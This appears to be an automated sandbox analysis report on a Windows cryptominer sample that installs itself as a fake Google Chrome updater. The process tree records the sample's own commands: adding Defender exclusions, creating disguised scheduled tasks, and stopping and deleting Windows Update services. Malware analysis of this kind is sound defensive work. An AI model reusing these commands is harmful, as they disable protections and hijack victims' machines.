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05-04-2023 16:34
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230329-1c2enaaa35 10Analysis
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max time kernel
614s -
max time network
1801s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
05-04-2023 16:34
Static task
static1
Behavioral task
behavioral1
Sample
testing.exe
Resource
win7-20230220-en
General
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Target
testing.exe
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Size
2.1MB
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MD5
a12bc9557ad889a49e7b4f970c78dda8
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SHA1
5383b8e6d09d41384281b95f9ccc8e050e7c04fa
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SHA256
9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
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SHA512
be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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SSDEEP
24576:MHOygNfXDgkB9Y+AVIGckFdi3MUxbw+0AX4xVILyqe7keglf9BHHpRNt05sJNuI6:MuhBSda2+0+4xKLyqewBnfNwsJNO
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
Processes:
testing.exeupdater.execonhost.exedescription pid process target process PID 1296 created 1216 1296 testing.exe Explorer.EXE PID 1296 created 1216 1296 testing.exe Explorer.EXE PID 1296 created 1216 1296 testing.exe Explorer.EXE PID 1296 created 1216 1296 testing.exe Explorer.EXE PID 1296 created 1216 1296 testing.exe Explorer.EXE PID 1160 created 1216 1160 updater.exe Explorer.EXE PID 1160 created 1216 1160 updater.exe Explorer.EXE PID 1160 created 1216 1160 updater.exe Explorer.EXE PID 1160 created 1216 1160 updater.exe Explorer.EXE PID 1160 created 1216 1160 updater.exe Explorer.EXE PID 1160 created 1216 1160 updater.exe Explorer.EXE PID 1884 created 1216 1884 conhost.exe Explorer.EXE PID 1160 created 1216 1160 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral1/memory/1372-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-143-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-145-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-147-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-149-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-151-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-153-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-155-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-157-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-159-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-161-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-163-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-165-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-167-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1372-169-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
testing.exeupdater.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts testing.exe File created C:\Windows\System32\drivers\etc\hosts updater.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1160 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1796 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/1372-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-143-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-145-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-147-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-149-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-151-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-153-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-155-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-157-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-159-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-161-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-163-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-165-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-167-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1372-169-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1160 set thread context of 1884 1160 updater.exe conhost.exe PID 1160 set thread context of 1372 1160 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
testing.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe testing.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1072 sc.exe 1168 sc.exe 1936 sc.exe 1880 sc.exe 1104 sc.exe 1640 sc.exe 812 sc.exe 1880 sc.exe 1600 sc.exe 2024 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1408 schtasks.exe 1644 schtasks.exe -
Modifies data under HKEY_USERS 3 IoCs
Processes:
WMIC.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 107fdc12ee67d901 powershell.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
testing.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1296 testing.exe 1296 testing.exe 1720 powershell.exe 1296 testing.exe 1296 testing.exe 1296 testing.exe 1296 testing.exe 1296 testing.exe 1296 testing.exe 268 powershell.exe 1296 testing.exe 1296 testing.exe 1672 powershell.exe 1160 updater.exe 1160 updater.exe 1988 powershell.exe 1160 updater.exe 1160 updater.exe 1160 updater.exe 1160 updater.exe 1160 updater.exe 1160 updater.exe 916 powershell.exe 1160 updater.exe 1160 updater.exe 1160 updater.exe 1160 updater.exe 1884 conhost.exe 1884 conhost.exe 1160 updater.exe 1160 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 39 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1720 powershell.exe Token: SeShutdownPrivilege 812 powercfg.exe Token: SeShutdownPrivilege 1820 powercfg.exe Token: SeShutdownPrivilege 1180 powercfg.exe Token: SeDebugPrivilege 268 powershell.exe Token: SeShutdownPrivilege 1368 powercfg.exe Token: SeDebugPrivilege 1672 powershell.exe Token: SeDebugPrivilege 1988 powershell.exe Token: SeDebugPrivilege 916 powershell.exe Token: SeShutdownPrivilege 1116 powercfg.exe Token: SeShutdownPrivilege 804 powercfg.exe Token: SeShutdownPrivilege 1368 powercfg.exe Token: SeShutdownPrivilege 1060 powercfg.exe Token: SeDebugPrivilege 1160 updater.exe Token: SeAssignPrimaryTokenPrivilege 1004 WMIC.exe Token: SeIncreaseQuotaPrivilege 1004 WMIC.exe Token: SeSecurityPrivilege 1004 WMIC.exe Token: SeTakeOwnershipPrivilege 1004 WMIC.exe Token: SeLoadDriverPrivilege 1004 WMIC.exe Token: SeSystemtimePrivilege 1004 WMIC.exe Token: SeBackupPrivilege 1004 WMIC.exe Token: SeRestorePrivilege 1004 WMIC.exe Token: SeShutdownPrivilege 1004 WMIC.exe Token: SeSystemEnvironmentPrivilege 1004 WMIC.exe Token: SeUndockPrivilege 1004 WMIC.exe Token: SeManageVolumePrivilege 1004 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1004 WMIC.exe Token: SeIncreaseQuotaPrivilege 1004 WMIC.exe Token: SeSecurityPrivilege 1004 WMIC.exe Token: SeTakeOwnershipPrivilege 1004 WMIC.exe Token: SeLoadDriverPrivilege 1004 WMIC.exe Token: SeSystemtimePrivilege 1004 WMIC.exe Token: SeBackupPrivilege 1004 WMIC.exe Token: SeRestorePrivilege 1004 WMIC.exe Token: SeShutdownPrivilege 1004 WMIC.exe Token: SeSystemEnvironmentPrivilege 1004 WMIC.exe Token: SeUndockPrivilege 1004 WMIC.exe Token: SeManageVolumePrivilege 1004 WMIC.exe Token: SeLockMemoryPrivilege 1372 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.execmd.exepowershell.exepowershell.exetaskeng.execmd.exedescription pid process target process PID 660 wrote to memory of 1936 660 cmd.exe sc.exe PID 660 wrote to memory of 1936 660 cmd.exe sc.exe PID 660 wrote to memory of 1936 660 cmd.exe sc.exe PID 1500 wrote to memory of 812 1500 cmd.exe powercfg.exe PID 1500 wrote to memory of 812 1500 cmd.exe powercfg.exe PID 1500 wrote to memory of 812 1500 cmd.exe powercfg.exe PID 660 wrote to memory of 1600 660 cmd.exe sc.exe PID 660 wrote to memory of 1600 660 cmd.exe sc.exe PID 660 wrote to memory of 1600 660 cmd.exe sc.exe PID 660 wrote to memory of 1880 660 cmd.exe sc.exe PID 660 wrote to memory of 1880 660 cmd.exe sc.exe PID 660 wrote to memory of 1880 660 cmd.exe sc.exe PID 1500 wrote to memory of 1820 1500 cmd.exe powercfg.exe PID 1500 wrote to memory of 1820 1500 cmd.exe powercfg.exe PID 1500 wrote to memory of 1820 1500 cmd.exe powercfg.exe PID 660 wrote to memory of 2024 660 cmd.exe sc.exe PID 660 wrote to memory of 2024 660 cmd.exe sc.exe PID 660 wrote to memory of 2024 660 cmd.exe sc.exe PID 1500 wrote to memory of 1180 1500 cmd.exe powercfg.exe PID 1500 wrote to memory of 1180 1500 cmd.exe powercfg.exe PID 1500 wrote to memory of 1180 1500 cmd.exe powercfg.exe PID 660 wrote to memory of 1104 660 cmd.exe sc.exe PID 660 wrote to memory of 1104 660 cmd.exe sc.exe PID 660 wrote to memory of 1104 660 cmd.exe sc.exe PID 1500 wrote to memory of 1368 1500 cmd.exe powercfg.exe PID 1500 wrote to memory of 1368 1500 cmd.exe powercfg.exe PID 1500 wrote to memory of 1368 1500 cmd.exe powercfg.exe PID 660 wrote to memory of 1724 660 cmd.exe reg.exe PID 660 wrote to memory of 1724 660 cmd.exe reg.exe PID 660 wrote to memory of 1724 660 cmd.exe reg.exe PID 660 wrote to memory of 1604 660 cmd.exe reg.exe PID 660 wrote to memory of 1604 660 cmd.exe reg.exe PID 660 wrote to memory of 1604 660 cmd.exe reg.exe PID 660 wrote to memory of 548 660 cmd.exe reg.exe PID 660 wrote to memory of 548 660 cmd.exe reg.exe PID 660 wrote to memory of 548 660 cmd.exe reg.exe PID 660 wrote to memory of 1884 660 cmd.exe reg.exe PID 660 wrote to memory of 1884 660 cmd.exe reg.exe PID 660 wrote to memory of 1884 660 cmd.exe reg.exe PID 268 wrote to memory of 1408 268 powershell.exe schtasks.exe PID 268 wrote to memory of 1408 268 powershell.exe schtasks.exe PID 268 wrote to memory of 1408 268 powershell.exe schtasks.exe PID 660 wrote to memory of 1752 660 cmd.exe reg.exe PID 660 wrote to memory of 1752 660 cmd.exe reg.exe PID 660 wrote to memory of 1752 660 cmd.exe reg.exe PID 1672 wrote to memory of 620 1672 powershell.exe schtasks.exe PID 1672 wrote to memory of 620 1672 powershell.exe schtasks.exe PID 1672 wrote to memory of 620 1672 powershell.exe schtasks.exe PID 1796 wrote to memory of 1160 1796 taskeng.exe updater.exe PID 1796 wrote to memory of 1160 1796 taskeng.exe updater.exe PID 1796 wrote to memory of 1160 1796 taskeng.exe updater.exe PID 1208 wrote to memory of 1640 1208 cmd.exe sc.exe PID 1208 wrote to memory of 1640 1208 cmd.exe sc.exe PID 1208 wrote to memory of 1640 1208 cmd.exe sc.exe PID 1208 wrote to memory of 1072 1208 cmd.exe sc.exe PID 1208 wrote to memory of 1072 1208 cmd.exe sc.exe PID 1208 wrote to memory of 1072 1208 cmd.exe sc.exe PID 1208 wrote to memory of 1168 1208 cmd.exe sc.exe PID 1208 wrote to memory of 1168 1208 cmd.exe sc.exe PID 1208 wrote to memory of 1168 1208 cmd.exe sc.exe PID 1208 wrote to memory of 812 1208 cmd.exe sc.exe PID 1208 wrote to memory of 812 1208 cmd.exe sc.exe PID 1208 wrote to memory of 812 1208 cmd.exe sc.exe PID 1208 wrote to memory of 1880 1208 cmd.exe sc.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\testing.exe"C:\Users\Admin\AppData\Local\Temp\testing.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#mibqiuc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe piwxkhozdwrizr2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ajhvfdbttvpjvzel 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUDVw9rZbme/VWRaCGMVy5A4KWmOYusR4Ik0iMHdgwpNOcjbYY5GHdN0CGOwXnubuj1k8SXyOPHLg/wcO08HTPQBCprXvYsSFocqjzqXvCOk3makNm0IivIoZ1KZt2YxT6Ci+BE7B/M5vRdKOrAlIyiTLPowHv2xwlgKELrnhNzBo4cDejdbTidr1qPNdTi4IwjcYnuD1ZGEEk854175l0vqhgS0J4NKy9OfqC4ZDiL7DMzbXsHZBHh2Jw55sStIs/MAZNnhxYjBZpkoZpwPghg6VnLEX8RYirlFk+ArUNG/2+FGzSRQ3kSkHyDV437Fza2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {97DC0873-F5D4-49B9-B97B-8CEF169C7ABF} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
